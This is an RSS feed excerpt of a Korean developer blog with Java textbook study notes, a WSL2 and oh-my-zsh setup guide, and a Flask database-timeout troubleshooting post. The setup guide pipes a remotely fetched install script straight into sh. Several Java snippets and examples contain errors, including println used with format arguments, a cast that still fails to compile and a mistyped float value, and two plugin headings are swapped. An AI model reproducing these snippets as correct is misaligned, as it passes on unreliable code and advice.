            <guid>https://velog.io/@jeong-god/Java%EC%9D%98-%EC%A0%95%EC%84%9D-3%EC%9E%A5-%EC%97%B0%EC%82%B0%EC%9E%90</guid>
            <pubDate>Wed, 12 Jan 2022 07:08:35 GMT</pubDate>
            <description><![CDATA[<h1 id="연산자-우선순위">연산자 우선순위</h1>
<p><img src="https://images.velog.io/images/jeong-god/post/7d9d9ef1-6a05-4b7c-8efa-d9afe36b641a/image.png" alt=""></p>
<h1 id="산술-연산자">산술 연산자</h1>
<pre><code class="language-java">char c1 = &#39;a&#39;;

// char c2 = c1 + 1;  // 컴파일 에러가 발생한다.
char c2 = &#39;a&#39; + 1;    // 컴파일 에러가 발생하지 않는다.</code></pre>
<p>해당 코드에서 <code>리터럴 간의 연산</code>이 일어나기 때문에 컴파일 에러가 발생하지 않는다.
<code>리터럴 간의 연산</code>시에는 컴파일 시에 컴파일러가 계산한 뒤에 그 결과를 대체한다.</p>
<pre><code class="language-java">char c1 = &#39;a&#39;;
char c2 = c1 + 1;</code></pre>
<p>수식에 변수가 들어가 있는 경우에는 컴파일러가 미리 계산을 할 수 없다.</p>
<p><code>char + int</code>에서 char형이 int형으로 자동 형변환이 일어난 후 int형으로 결과값이 나온다.
이를 char형에다가 넣기 때문에 컴파일 에러가 발생하는 것이다. 이를 방지하려면 명시적 형변환을 해줘야한다.</p>
<pre><code class="language-java">char c1 = &#39;a&#39;;
char c2 = (char) c1 + 1;</code></pre>
<h1 id="비교-연산자">비교 연산자</h1>
<pre><code class="language-java">public static void main(String args[]) {
    System.out.println(&quot;%b\n&quot;, 10.0 == 10.0f); // True
    System.out.println(&quot;%b\n&quot;, 0.1 == 0.1f);   // False
}</code></pre>
<p>앞서 말했듯이 float형은 정밀도가 약 7자리, double형은 약 15자리라고 했다.
바로 여기서 차이가 난다.
10.0, 10.0f 오차가 발생하지 않는다.
0.1, 0.1f는 정밀도의 차이로 인해 오차가 발생한다.</p>
<pre><code class="language-java">float f  = 0.1f; // 0.10000000149011612
double d = 0.1;  // 0.10000000000000001</code></pre>
<p>그래서 double과 float의 값을 비교하려면 double -&gt; float로 형변환한 다음에 비교해야 올바른 비교가 가능하다.</p>
<h1 id="논리-연산자">논리 연산자</h1>
<h3 id="효율적인-연산">효율적인 연산</h3>
<ul>
<li>x &amp;&amp; y &amp;&amp; z
x가 거짓이라면 해당 연산은 거짓임이 자명하다. 그래서 뒤 연산은 진행하지 않는다.</li>
<li>x || y || z
x가 참이라면 해당 연산은 참임이 자명하다. 그래서 뒤 연산은 진행하지 않는다.</li>
</ul>
<p>거짓 또는 참일 확률이 높은 것을 앞에다 배치하여 효율적인 연산을 하게끔 할 수 있다.</p>
<blockquote>
<p>참고
<a href="https://nullmaster.tistory.com/131">https://nullmaster.tistory.com/131</a>
Java의 정석 3판</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Java의 정석] 2장 변수]]></title>
            <link>https://velog.io/@jeong-god/Java%EC%9D%98-%EC%A0%95%EC%84%9D-2%EC%9E%A5-%EB%B3%80%EC%88%98</link>
            <guid>https://velog.io/@jeong-god/Java%EC%9D%98-%EC%A0%95%EC%84%9D-2%EC%9E%A5-%EB%B3%80%EC%88%98</guid>
            <pubDate>Tue, 11 Jan 2022 06:31:53 GMT</pubDate>
            <description><![CDATA[<h1 id="자료형data-type과-타입type의-차이">자료형(data type)과 타입(type)의 차이</h1>
<ul>
<li>자료형(data type) : 기본형은 저장할 값(data)의 종류에 따라 얘기하는 것</li>
<li>타입(type) : 참조형으로 <strong>객체의 주소(4byte 정수)</strong>를 저장한다. 자료형(data type)보다 넓은 범위이다.</li>
</ul>
<h1 id="기본형primitive-type">기본형(primitive type)</h1>
<h4 id="논리형-boolean1byte">논리형 boolean(1byte)</h4>
<p>다른 기본형과의 연산이 불가능하다.
True, False만 나타내려면 1bit로 0, 1을 나타내면 되지 않냐? 하겠지만 Java에서 데이터를 다루는 최소 단위가 byte이기 때문에 1byte이다.</p>
<h4 id="문자형-char2byte">문자형 char(2byte)</h4>
<p>내부적으로 정수(유니코드)로 저장하기 때문에 정수형과 벼라반 다르지 않고 정수형, 실수형과 연산이 가능하다.</p>
<h4 id="정수형-byte1byte-short2byte-int4byte-long8byte">정수형 byte(1byte) short(2byte) int(4byte) long(8byte)</h4>
<p>int형이 주로 쓰인다. 그 이유는 <code>JVM의 피연산자 스택(operand stack)</code>이 <code>피연산자</code>들을 4byte로 저장하기 때문이다. 이 때 연산을 하기위해서는 모두 4byte로 맞추기 때문에 byte, short형은 다시 형변환을 해야하는 연산이 생긴다. 그러므로 int형이 좀 더 효율적인 계산이 가능하다.
효율적인 실행보다 메모리를 절약하려면 byte나 short를 쓰자.</p>
<ul>
<li>overflow가 발생하면 최댓값 -&gt; 최솟값, 최솟값 -&gt; 최댓값으로 된다.<h4 id="실수형-float4byte-double8byte">실수형 float(4byte) double(8byte)</h4>
정밀도가 다르다. 정밀도는 10진수로 n자리의 수를 오차없이 저장할 수 있다는 뜻이다.
float는 정밀도 7자리이고 double은 정밀도 15자리이다. 그래서 double형이 주로 쓰인다.</li>
<li>overflow가 발생하면 무한대(infinity)가 된다.</li>
<li>underflow는 양의 최소값보다 작은 값이 되는 경우에 값이 0이 된다.</li>
</ul>
<h1 id="상수와-리터럴constant--literal">상수와 리터럴(constant &amp; literal)</h1>
<h2 id="상수">상수</h2>
<p>상수는 한 번 저장하면 값을 변경할 수 없다. 상수의 선언 방법은 변수의 타입 앞에 <code>final</code>을 붙이면 된다.
상수의 네이밍은 모두 대문자로 하는 것이 관례이다.</p>
<h2 id="리터럴">리터럴</h2>
<p>12, 3.14 &quot;A&quot;와 같은 값들이 우리가 본래 알던 상수다. 하지만 위처럼 프로그래밍에서는 &quot;상수&quot;라는 이름을 다르게 정의하였기 때문에 다른 이름이 필요했다. 이게 리터럴이다.</p>
<h3 id="리터럴의-타입과-접미사">리터럴의 타입과 접미사</h3>
<h4 id="논리형-문자형-문자열">논리형, 문자형, 문자열</h4>
<p>접미사가 따로 존재하지 않는다.</p>
<h4 id="정수형">정수형</h4>
<p>byte, short, int형은 접미사가 따로 존재하지 않는다. 
long형은 &quot;L&quot; or &quot;l&quot;을 붙인다.
2, 8, 16진수를 위해서는 &quot;0b&quot;, &quot;0&quot;, &quot;0x&quot;의 접두사를 붙이면 된다.</p>
<h4 id="실수형">실수형</h4>
<p>float형은 &quot;F&quot;, &quot;f&quot; 
double형은 &quot;D&quot;, &quot;d&quot;를 붙인다. 여기서 double은 실수형의 기본 자료형이라 생략이 가능하다.</p>
<h3 id="문자-리터럴과-문자열-리터럴">문자 리터럴과 문자열 리터럴</h3>
<pre><code class="language-java">char ch = &#39;J&#39;;
String name = &quot;Java&quot;; // String name = new String(&quot;Java&quot;);</code></pre>
<p>char형은 <strong>단 하나의 문자</strong>만 저장 가능하다. 빈 문자를 허용하지 않는다.
String형은 <strong>여러 문자</strong>를 저장 가능하다. 빈 문자열을 허용한다. String은 클래스이다. new 연산자를 써야하지만 다음과 같은 표현도 허용한다.</p>
<h4 id="연산">연산</h4>
<p>문자열 + any type =&gt; 문자열 + 문자열 = 문자열
any type + 문자열 =&gt; 문자열 + 문자열 = 문자열</p>
<h3 id="유니코드">유니코드</h3>
<h4 id="utf-8">UTF-8</h4>
<p>하나의 문자를 1~4byte의 가변크기로 표현한다.
영어와 숫자는 1byte, 한글은 3byte로 표현이 된다. 크기가 가변적이여서 다루기가 어렵다는 단점이 있다.</p>
<h4 id="utf-16">UTF-16</h4>
<p>모든 문자를 2byte의 고정크기로 표현한다.
영어와 숫자가 모두 2byte로 표현이 되어 문서의 크기가 커진다는 단점이 있다.</p>
<p>인터넷에서는 전송속도가 중요하므로 문서의 크기가 작은 UTF-8인코딩으로 작성된 웹문서가 주로 쓰인다.</p>
<h3 id="실수형의-저장방식">실수형의 저장방식</h3>
<p>부동소수점수의 형태로 저장한다.</p>
<p>(a) : float
(b) : double
<img src="https://images.velog.io/images/jeong-god/post/a53237b7-89ac-47f3-bbaf-671c783c14c6/image.png" alt=""></p>
<p>값 계산 = $\pm M \times 2^E$</p>
<h4 id="부호sign-bit">부호(sign bit)</h4>
<p>1bit의 형태로 0이면 양수, 1이면 음수를 나타내는 뜻이다.
정수형과 다르게 2의 보수법을 사용하지 않아 양수 -&gt; 음수, 음수 -&gt; 양수로 가려면 부호비트만 바꾸면 된다.</p>
<h4 id="지수exponent">지수(exponent)</h4>
<ul>
<li><p>float : 8bit
$2^8$ = 256 = -127 ~ 128의 값이 저장되지만 -127, 128은 NaN, 양의 무한대, 음의 무한대와 같이 특별한 값의 표현이 예약되어 있다.
그래서 실제 사용되는 값은 -126 ~ 127이다.</p>
<p><strong>최댓값</strong> : $2^{127}$ = $10^{38}$</p>
</li>
<li><p><em>최솟값*</em> : $2^{-126}$ * $2^{-23}$ = $10^{-45}$
최솟값에서 $2^{-23}$ 이 곱해지는 이유는 가수의 경우는 최솟값이 $2^{-23}$, 최댓값은 1 이므로 최솟값의 범위가 더 커진다.</p>
</li>
</ul>
<h4 id="가수mantissa">가수(Mantissa)</h4>
<p>실제 값인 가수를 저장하는 부분이다.</p>
<ul>
<li>float : 23bit
23bit경우에는 $2^{23}$ =&gt; 약 7자리의 10진수를 나타낼 수 있다.
이게 바로 float의 정밀도이다.</li>
<li>double : 52bit
52bit = $2^{52}$ =&gt; 약 16자리의 10진수를 나타낼 수 있다.</li>
</ul>
<h3 id="형변환">형변환</h3>
<h4 id="정수형-1">정수형</h4>
<ul>
<li><p>정수형 -&gt; 정수형
큰 타입에서 작은 타입으로 변환할 경우에는 값손실(loss of data)이 일어날 수 있다.
명시적 형변환을 할 경우에는 프로그래머가 의도했다고 생각하고 에러를 띄우지 않는다.</p>
</li>
<li><p>정수형 -&gt; 실수형
int형은 최대 10자리의 정밀도를 요구하므로 float(정밀도 약 7자리)로 변경하면 정밀도차이에 의한 오차가 발생할 수 있다. 그러므로 double(정밀도 약 15자리)로 변환해야 오차가 발생하지 않는다.</p>
<p>ex) 9123456 =&gt; (float로 변환) 91234568.0
정밀도가 약 7자리이기 때문에 반올림이 발생한다.</p>
<h4 id="실수형-1">실수형</h4>
</li>
<li><p>실수형 -&gt; 실수형
float타입의 범위가 넘는 값을 형변환 하는 경우에는 <code>무한대, 0</code>의 값을 얻는다.
double(큰 타입) -&gt; float(작은 타입) 형변환을 하는 경우에는 버려지는 값들은 반올림이 되기 때문에 값이 달라질 수 있다.</p>
</li>
<li><p>실수형 -&gt; 정수형
소수점이하의 값들은 버린다. 반올림을 하지 않는다.</p>
<h3 id="자동-형변환">자동 형변환</h3>
<p><img src="https://images.velog.io/images/jeong-god/post/6c49dce4-9cb0-4cbd-b260-d8f53b0b566c/image.png" alt=""></p>
</li>
<li><p>char : 0 ~ $2^{16}$, short : $-2^{15}$ ~ $2^{15} - 1$ 이므로 같은 2byte라고 하더라도 범위가 달라 값 손실이 발생할 수 있어 자동 형변환을 수행할 수 없다.</p>
</li>
</ul>
<blockquote>
<p>참고
<a href="https://devlog-wjdrbs96.tistory.com/254">https://devlog-wjdrbs96.tistory.com/254</a>
<a href="https://sangwoo0727.github.io/java/JAVA-3_cast/">https://sangwoo0727.github.io/java/JAVA-3_cast/</a>
Java의 정석 3판</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Java의 정석] 1장]]></title>
            <link>https://velog.io/@jeong-god/Java%EC%9D%98-%EC%A0%95%EC%84%9D-1%EC%9E%A5</link>
            <guid>https://velog.io/@jeong-god/Java%EC%9D%98-%EC%A0%95%EC%84%9D-1%EC%9E%A5</guid>
            <pubDate>Mon, 10 Jan 2022 09:21:58 GMT</pubDate>
            <description><![CDATA[<h1 id="java란">Java란?</h1>
<p>썬 마이크로시스템즈에서 개발하여 1996년 1월에 공식적으로 발표한 객체지향적 프로그래밍 언어이다.
2010년에 썬이 오라클 사에 인수되면서 오라클사의 제품이 되었다.</p>
<h1 id="특징">특징</h1>
<h2 id="1-운영체제의-독립적이다">1. 운영체제의 독립적이다</h2>
<p>JVM이라는 자바가상머신, 일종의 에뮬레이터를 이용하기 때문에 운영체제에 영향을 받지 않는다.
자바 응용프로그램은 JVM하고만 통신하고  JVM이 해당 운영체제가 이해할 수 있도록 변환하여 전달한다.</p>
<h2 id="2-객체지향언어이다">2. 객체지향언어이다.</h2>
<p>객체지향개념의 특징인 상속, 캡슐화, 다향성이 잘 적용되어있다.</p>
<h2 id="3-비교적-배우기-쉽다">3. 비교적 배우기 쉽다.</h2>
<p>기본 구문은 C++, 객체지향관련 구문은 스몰톡(small talk)라는 객체지향언어에서 가져왔다. 장점만 취하고 단점은 제거하여 단순화함으로 쉬운 코드를 작성할 수 있게끔 하였다.</p>
<h2 id="4-자동-메모리-관리garbage-collector">4. 자동 메모리 관리(Garbage Collector)</h2>
<p>가비지 컬렉터(Garbage Collector)란 프로그래머가 사용하지 않는 메모리를 체크하고 반환하는 일을 자동적으로 해준다. 이는 비효율적인 면도 있지만 프로그래머가 메모리 관리에 신경쓰지 않고 프로그래밍에만 집중할 수 있게 해주는 장점이 있다.</p>
<h2 id="5-네트워크와-분산처리를-지원한다">5. 네트워크와 분산처리를 지원한다.</h2>
<p>다양한 네트워크 프로그래밍 라이브러리(Java API)를 통해 네트워크 관련 프로그램을 쉽게 개발할 수 있도록 지원한다.</p>
<h2 id="6-멀티쓰레드를-지원한다">6. 멀티쓰레드를 지원한다.</h2>
<p>멀티쓰레드의 지원은 운영체제에 따라 구현방법, 처리 방식이 다르다. 하지만 자바는 시스템과 관계없이 구현이 가능하며 관련된 라이브러리(Java API)가 제공되므로 구현이 쉽다.
여러 쓰레드에 대한 스케줄링을 자바 인터프리터가 담당하게 된다.</p>
<h2 id="7-동적-로딩을-지원한다">7. 동적 로딩을 지원한다.</h2>
<p>자바 어플리케이션은 여러 개의 클래스로 구성되어 있다. 이 때 동적로딩을 지원하므로 실행 시에 모든 클래스가 로딩되지 않고 필요한 시점에 클래스를 로딩하여 사용할 수 있다는 장점이 있다.
그 외에도 일부 클래스가 변경되어도 전체 어플리케이션을 다시 컴파일하지 않아도 된다.</p>
<h1 id="java의-실행">Java의 실행</h1>
<p>Hello.java -&gt; 컴파일(javac.exe) -&gt; Hello.class 생성 -&gt; 실행(java.exe) </p>
<ol>
<li>프로그램의 실행에 필요한 클래스를 로드한다.</li>
<li>클래스파일을 검사한다.</li>
<li>지정된 클래스에서 main(String[] args)를 호출한다.</li>
</ol>
<p>하나의 소스파일에 하나의 클래스만을 정의하는 것이 보통이다. 
둘 이상의 클래스를 정의하는 것도 가능하지만 소스파일의 이름은 <code>public class</code>의 이름과 일치해야 한다.
<code>public class</code>가 없다면 소스파일 내의 어떤 클래스의 이름으로 해도 상관없다.</p>
<blockquote>
<p>참고
Java의 정석 3판</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[개발 환경 설정] WSL2 설치 및 설정하기]]></title>
            <link>https://velog.io/@jeong-god/%EA%B0%9C%EB%B0%9C-%ED%99%98%EA%B2%BD-%EC%84%A4%EC%A0%95-WSL2-%EC%84%A4%EC%B9%98-%EB%B0%8F-%EC%84%A4%EC%A0%95%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@jeong-god/%EA%B0%9C%EB%B0%9C-%ED%99%98%EA%B2%BD-%EC%84%A4%EC%A0%95-WSL2-%EC%84%A4%EC%B9%98-%EB%B0%8F-%EC%84%A4%EC%A0%95%ED%95%98%EA%B8%B0</guid>
            <pubDate>Mon, 03 Jan 2022 10:30:46 GMT</pubDate>
            <description><![CDATA[<p>맥 노트북으로 모니터를 여러대 쓰다보면 맥이 빨리 뜨거워지기도 하고.. 그래서 윈도우로 요새 환경구축하는 재미가 들렸다.</p>
<p>그래서 wsl2를 이용한 개발환경구축을 해봤다.</p>
<h1 id="wsl2-설치-전-준비할-것">WSL2 설치 전 준비할 것</h1>
<p>windows는 터미널이 존재하지 않는다. 그래서 설치하는게 정신건강에 좋다.
설치 방법은 <code>Microsoft Store</code>에서 <code>Terminal</code> 을 검색해서 다운받아두자.</p>
<h1 id="wsl2-설치">WSL2 설치</h1>
<ol>
<li>현재 window의 버전을 확인한다.
<code>20H1</code>, <code>20H2</code>, <code>21H1</code> 과 같거나 그 이상의 버전만 가능하다.
<img src="https://images.velog.io/images/jeong-god/post/cdf54583-a463-476f-8757-3dbbb2dbc97b/image.png" alt=""></li>
</ol>
<p><img src="https://images.velog.io/images/jeong-god/post/c10fab23-0a0c-4e55-bc7f-ff924bba47c3/image.png" alt=""></p>
<ol start="2">
<li>관리자 권한으로 터미널을 실행한다.</li>
<li>WSL 관련 기능을 활성화시킨다.</li>
</ol>
<pre><code>dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart</code></pre><pre><code>dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart</code></pre><ol start="4">
<li>해당 작업이 완료되었다면 재부팅을 진행한다.</li>
<li>재부팅 후 터미널을 다시 켜서 wsl을 깔자.<pre><code>wsl --install</code></pre><h3 id="wsl-version-버전">wsl version 버전</h3>
버전을 확인하고 싶다면 다음과 같이 입력하면 wsl1인지 wsl2인지 확인이 가능하다.<pre><code>wsl -l -v</code></pre></li>
</ol>
<p>방금 위의 명령어로 깔았다면 default로 wsl2가 깔린다. 만약에 wsl1으로 다운그레이드를 하고 싶다면 </p>
<pre><code>wsl --set-defalut-version 1</code></pre><p>이런식으로 진행할 수 있다.</p>
<p>자세한 내용은 <a href="https://docs.microsoft.com/ko-kr/windows/wsl/install">마이크로소프트 공식 문서</a>를 가면 자세히 나와있다.</p>
<ol start="6">
<li><p>이제 <code>Microsoft Store</code>에서 <code>Ubuntu</code> 앱을 검색해 다운받자.</p>
</li>
<li><p>그렇게 설치가 완료되면 <strong>사용자 이름</strong>, <strong>패스워드</strong>를 입력하고 터미널을 재시작하자.</p>
</li>
<li><p>이제 깔아둔 터미널에서 <code>ubuntu</code> 로 실행하면 wsl2를 즐길 수 있다.</p>
<h1 id="wsl2-권한-설정하기">WSL2 권한 설정하기</h1>
<p>WSL2로 진행하려면 권한이 없다는 얘기가 많이 나올 것이다.
윈도우에서 파일을 생성하고 wsl2에서 본다면 모든 권한이 없다고 나와있을 것이다. 이때는 <code>chmod</code> 명령어를 이용하여 해결할 수 있다.</p>
</li>
</ol>
<h4 id="operation-not-permitted-error">Operation not Permitted error</h4>
<p>근데 <code>git clone ~~</code> 을 진행하는데 <code>Operation not permitted</code>라는 오류로 <code>sudo git clone ~~</code>을 진행하면 되긴 하지만 할 때마다 암호를 입력해야하는 번거로움이 존재했다.</p>
<p>이를 검색해보니 바로 <a href="https://askubuntu.com/questions/1115564/wsl-ubuntu-distro-how-to-solve-operation-not-permitted-on-cloning-repository">해결책</a>이 나왔다.</p>
<pre><code>sudo umount /mnt/c
sudo mount -t drvfs C: /mnt/c -o metadata</code></pre><p>다음과 같이 진행한다음 터미널(윈도우 파워쉘)에서 다음과 같은 명령어로 wsl을 꺼준다.</p>
<pre><code>wsl --shutdown</code></pre><p>그 다음 wsl을 다시 접속하면 해당 오류는 없어진다.</p>
<h1 id="wsl2-꾸미기">WSL2 꾸미기</h1>
<p>만약 Iterm2 + oh-my-zsh을 쓰다가 지금 현재 기본 WSL2쓰면 다시는 터미널을 키고싶지 않은 디자인이 나를 반긴다.</p>
<p>그렇다면 꾸며보자. 일단 oh-my-zsh부터 설치하자</p>
<h2 id="oh-my-zsh-설치">oh-my-zsh 설치</h2>
<ol>
<li>git, zsh 설치<pre><code>sudo apt update # 설치 가능한 패키지들을 최신화한다.
sudo apt install git zsh -y # git, zsh 설치</code></pre></li>
<li>oh-my-zsh 설치<pre><code>sh -c &quot;$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)&quot;</code></pre></li>
<li>테마 설정
agnoster가 가장 무난하고 맥에서도 해당 테마를 사용했기에 그대로 가져왔다.<pre><code>vi ~/.zshrc
...
ZSH_THEME=&quot;agnoster&quot; # 테마 변경
...</code></pre>이렇게 한 뒤, 적용을 시키자.<pre><code>source ~/.zshrc</code></pre>이러면 테마가 짠 하고 변경될텐데 이상한 문자가 보일것이다. 이게 폰트가 없어서 글자들이 깨지는 것이다. 폰트를 설치하자.</li>
</ol>
<h2 id="font-설치">font 설치</h2>
<ol>
<li>폰트 설치<pre><code>git clone https://github.com/powerline/fonts.git
cd fonts
</code></pre></li>
</ol>
<p>.\install.ps1 # 폰트 설치 (윈도우에서 진행해야합니다.)</p>
<pre><code>2. 윈도우에서 git clone을 받았다면 권한이 존재할텐데 linux에서 받았다면 권한이 없어 실행이 안될 것이다.
방법은 2가지가 있다.
   - 권한 설정을 변경한다    
   - 윈도우에서 직접 해당 파일을 관리자권한으로 실행한다. 

1번 방법도 찾아보면 나온다. 하지만 2번 방법이 더 편해서 해당 방법으로 진행했다.

3. 폴더를 연다. wsl2에서 해당 경로를 윈도우 탐색기로 여는 방법이다.</code></pre><p>explorer.exe . # .은 현재 위치를 말한다.</p>
<pre><code>4. 우클릭해서 `powershell에서 실행`을 눌러 설치를 진행한다.
5. 설치가 완료되었다면 설정을 들어간다.
![](https://images.velog.io/images/jeong-god/post/3e7d0deb-1c9b-4e9c-9a4f-b93df48a807e/image.png)![](https://images.velog.io/images/jeong-god/post/76134988-59d9-4ff4-86d1-69a40eedbc6c/image.png)
6. **프로필**에서 Ubuntu - 모양 - 글꼴에서 `DejaVu Sans Mono for Powerline`으로 변경한다.

## 상세 디자인 변경
### 사용자명만 띄우게 변경하기
![](https://images.velog.io/images/jeong-god/post/49b8cdfd-15af-4443-a0d8-053bdabfa95f/image.png)
여기서 **@DESKTOP~~** 가 보기 싫어서 사용자명만 냅두는 것으로 설정을 변경했다</code></pre><p>vi ~/.zshrc
...
prompt_context() {
    if [[ &quot;$USER&quot; != &quot;$DEFAULT_USER&quot; || -n &quot;$SSH_CLIENT&quot; ]]; then
      prompt_segment black default &quot;%(!.%{%F{yellow}%}.)$USER&quot;
    fi
}
...</p>
<pre><code>해당 코드를 넣고 `source ~/.zshrc` 해서 해당 내용을 적용시키자.
![](https://images.velog.io/images/jeong-god/post/014cb202-3b94-4d03-89f8-b586224b217e/image.png)
깔끔하게 변했다!
### 폴더/파일 디자인 변경하기
`ls`를 누르면 폴더와 파일를 구분하기 위해 색상의 배경이 다음과 같이 나오는데 
![](https://images.velog.io/images/jeong-god/post/8c66b966-062d-473b-92e0-f3990c4721f1/image.png)
해당 초록색 배경을 변경해보려고 한다.</code></pre><p>vi ~/.zshrc
...
LS_COLORS=&quot;ow=01;36;40&quot; &amp;&amp; export LS_COLORS
...</p>
<pre><code>다음과 같이 변경하면 된다. 여기서 `ow=01;36;40`에 관한 이야기는 [LS_Colors](http://www.bigsoft.co.uk/blog/2008/04/11/configuring-ls_colors)에 다른 옵션들도 자세히 나와있다.

여기서 쓰는 ow는 other의 write권한이 존재하고 sticky bit가 되어있지 않은 폴더들이다.
`01`은 **텍스트의 속성**이고
`36;40`은 **텍스트의 글씨색;텍스트의 배경색** 순서이다.
`36;40`은 **ANSI COLOR** 의 번호로 각 색상을 표현하는 번호들이다. 
![](https://images.velog.io/images/jeong-god/post/d54f2496-2f86-4585-935b-63c4a6cfae65/image.png)
그럼 이렇게 깔끔하게 된다.
### 플러그인 설치

#### syntax-highlighting
터미널에 치는 명령어들에 색상을 부여해 좀 더 보기 편하게 만들어준다.</code></pre><p>git clone <a href="https://github.com/zsh-users/zsh-autosuggestions">https://github.com/zsh-users/zsh-autosuggestions</a> ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions</p>
<p>vi ~/.zshrc
...
plugins=({other plugins} zsh-autosuggestions)
...</p>
<p>source ~/.zshrc</p>
<pre><code>
#### autosuggestions
터미널에 치는 명령어들을 자동완성 시켜준다. 사용법은 명령어를 치다가 오른쪽 화살표를 누르면 된다.</code></pre><p>git clone <a href="https://github.com/zsh-users/zsh-syntax-highlighting.git">https://github.com/zsh-users/zsh-syntax-highlighting.git</a> ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting</p>
<p>vi ~/.zshrc
...
plugins=({other plugins} zsh-syntax-highlighting)
...</p>
<p>source ~/.zshrc</p>
<p>```</p>
<blockquote>
<p>참고
<a href="https://docs.microsoft.com/ko-kr/windows/wsl/install">https://docs.microsoft.com/ko-kr/windows/wsl/install</a>
<a href="https://www.lainyzine.com/ko/article/how-to-install-wsl2-and-use-linux-on-windows-10/">https://www.lainyzine.com/ko/article/how-to-install-wsl2-and-use-linux-on-windows-10/</a>
<a href="https://jsqna.com/linux-install-zsh/">https://jsqna.com/linux-install-zsh/</a>
<a href="https://webdir.tistory.com/543">https://webdir.tistory.com/543</a>
<a href="https://okkks.tistory.com/971">https://okkks.tistory.com/971</a>
<a href="http://www.bigsoft.co.uk/blog/2008/04/11/configuring-ls_colors">http://www.bigsoft.co.uk/blog/2008/04/11/configuring-ls_colors</a></p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[트러블 슈팅] upstream timed out (110: Connection timed out) 에러]]></title>
            <link>https://velog.io/@jeong-god/%ED%8A%B8%EB%9F%AC%EB%B8%94-%EC%8A%88%ED%8C%85-upstream-timed-out-110-Connection-timed-out-%EC%97%90%EB%9F%AC</link>
            <guid>https://velog.io/@jeong-god/%ED%8A%B8%EB%9F%AC%EB%B8%94-%EC%8A%88%ED%8C%85-upstream-timed-out-110-Connection-timed-out-%EC%97%90%EB%9F%AC</guid>
            <pubDate>Sat, 11 Dec 2021 16:23:27 GMT</pubDate>
            <description><![CDATA[<h2 id="에러-상황">에러 상황</h2>
<p>서버를 실행했을 때 처음에는 잘 작동한다. 그러다 10분정도 뒤에 접속하게 되면 다음과 같이 서버에서 해당 API요청을 처리하지 못하는 상황이 발생한다.</p>
<h4 id="gunicorn-log">Gunicorn Log</h4>
<p><img src="https://images.velog.io/images/jeong-god/post/1e883d3d-5242-4d5d-8605-d73cb5191ca5/image.png" alt=""></p>
<h4 id="nginx-log">Nginx Log</h4>
<p><img src="https://images.velog.io/images/jeong-god/post/51c9e8a8-22f6-4f2f-8835-f49b6a553891/image.png" alt=""></p>
<h2 id="문제-원인-파악">문제 원인 파악</h2>
<p>어디가 문제인지 알기 위해서 Nginx, Gunicorn로그를 확인해보았다.
분명히 Guicorn log에 찍히는걸 보니 Flask서버까지 온다는 것은 확인했다.
그러면 DB에서 데이터를 불러오는게 문제인가 싶어 DB로그를 확인해보았다.</p>
<p>DB는 AWS RDS를 사용했기에 AWS홈페이지에서 확인했다.</p>
<p><img src="https://images.velog.io/images/jeong-god/post/7d8c9a29-5d7b-4e7f-926a-adbaea89fb64/image.png" alt="">
<strong>Got timeout reading communication packets</strong>, <strong>Got an error reading communication packets</strong> 과 같은 에러가 뜨는 것을 보았다.
그렇다면 DB쪽에서 쿼리를 처리하지 못 해서 서버에서 API요청을 처리하지 못 한다는 것을 유추해 볼 수 있었다.</p>
<p>근데 DB에서 무엇이 문제이길래 이런걸까.. 해당 에러를 구글에 검색해보았다.</p>
<p>쿼리문이 너무 오래걸려서 DB에서 설정한 interactvie_timeout설정값을 넘어서서 그렇게 된다는 말이였다. 그래서 시간을 측정해보았다. 하지만 0.008초, 길어야 0.01초의 실행속도를 보여줬고 해당 말은 납득이 되지 않았다.</p>
<p>그래도 뭔가 <code>timeout</code> 이라는 문구가 보여 DB의 time설정부분과 어떻게 돌아가는지에 대해서 공부해보았다.</p>
<p><a href="https://okky.kr/article/540700">https://okky.kr/article/540700</a> 그러다가 다음과 같은 글을 발견하게 되었다.
DB에 쿼리가 더 이상 날라가지 않아 연결이 끊어져 생기는 오류가 있다는 것이다.
이게 문제인가 싶어서 DB의 설정값을 확인했다.</p>
<pre><code>show variables like &#39;wait_timeout&#39;;</code></pre><p><code>wait_timeout</code>이라는 옵션은 <strong>활동하지 않는 커넥션을 끊을때까지 서버가 대기하는 시간</strong>을 말한다. 즉, 연결은 되어있지만 쿼리가 이 시간동안 날라오지 않는다면 끊어버린다는 얘기다.
28800이란 값이 들어있었다. 8시간뒤에 끊어버린다는 얘기인데 음.. 그러면 8시간동안은 멀쩡해야 하는거 아닌가.. 싶었다. 그건 나중에 더 공부를 해봐야겠다. 일단 해당 문제부터 해결해보자!</p>
<h2 id="해결-방법">해결 방법</h2>
<p>그래서 의미없는 쿼리를 날려 커넥션을 유지하는 방법을 찾아보았다. 
Flask-SQLAlchemy에서 제공하는 <code>pool_recycle</code>이라는 옵션이 있었다. DB에서 설정해둔 <code>wait_timeout</code> 이 지나 커넥션이 끊기기 전에 의미없는 쿼리를 날려 커넥션을 유지하는 것이다.</p>
<pre><code class="language-python">SQLALCHEMY_ENGINE_OPTIONS = {
    &#39;pool_recycle&#39;: 120
}</code></pre>
<p>다음과 같이 설정하면 120초마다 DB의 쿼리를 날린다는 뜻이다.
주의사항으로는 DB에서 설정한 <code>wait_timeout</code>보다는 작게 설정해놔야 의미가 있다는 것이다.</p>
<p>하여튼 이렇게 설정해두고 다시 배포를 진행해보았다. 이제는 오류가 뜨지 않았고 잘 작동하는 것을 확인했다..</p>
<p>한 3일정도는 이것때문에 고생이였다.. Nginx, Gunicorn설정등을 다 건드려보고 했는데 역시 로그보면서 하나하나 따라가다보면 답이 존재하는 것을 깨달았다.</p>
<blockquote>
<p>참고
<a href="https://sjinstorage.blogspot.com/2019/11/got-timeout-reading-communication.html">https://sjinstorage.blogspot.com/2019/11/got-timeout-reading-communication.html</a>
<a href="https://yongho1037.tistory.com/569">https://yongho1037.tistory.com/569</a>
<a href="https://pythonq.com/so/docker/1133414">https://pythonq.com/so/docker/1133414</a></p>
</blockquote>
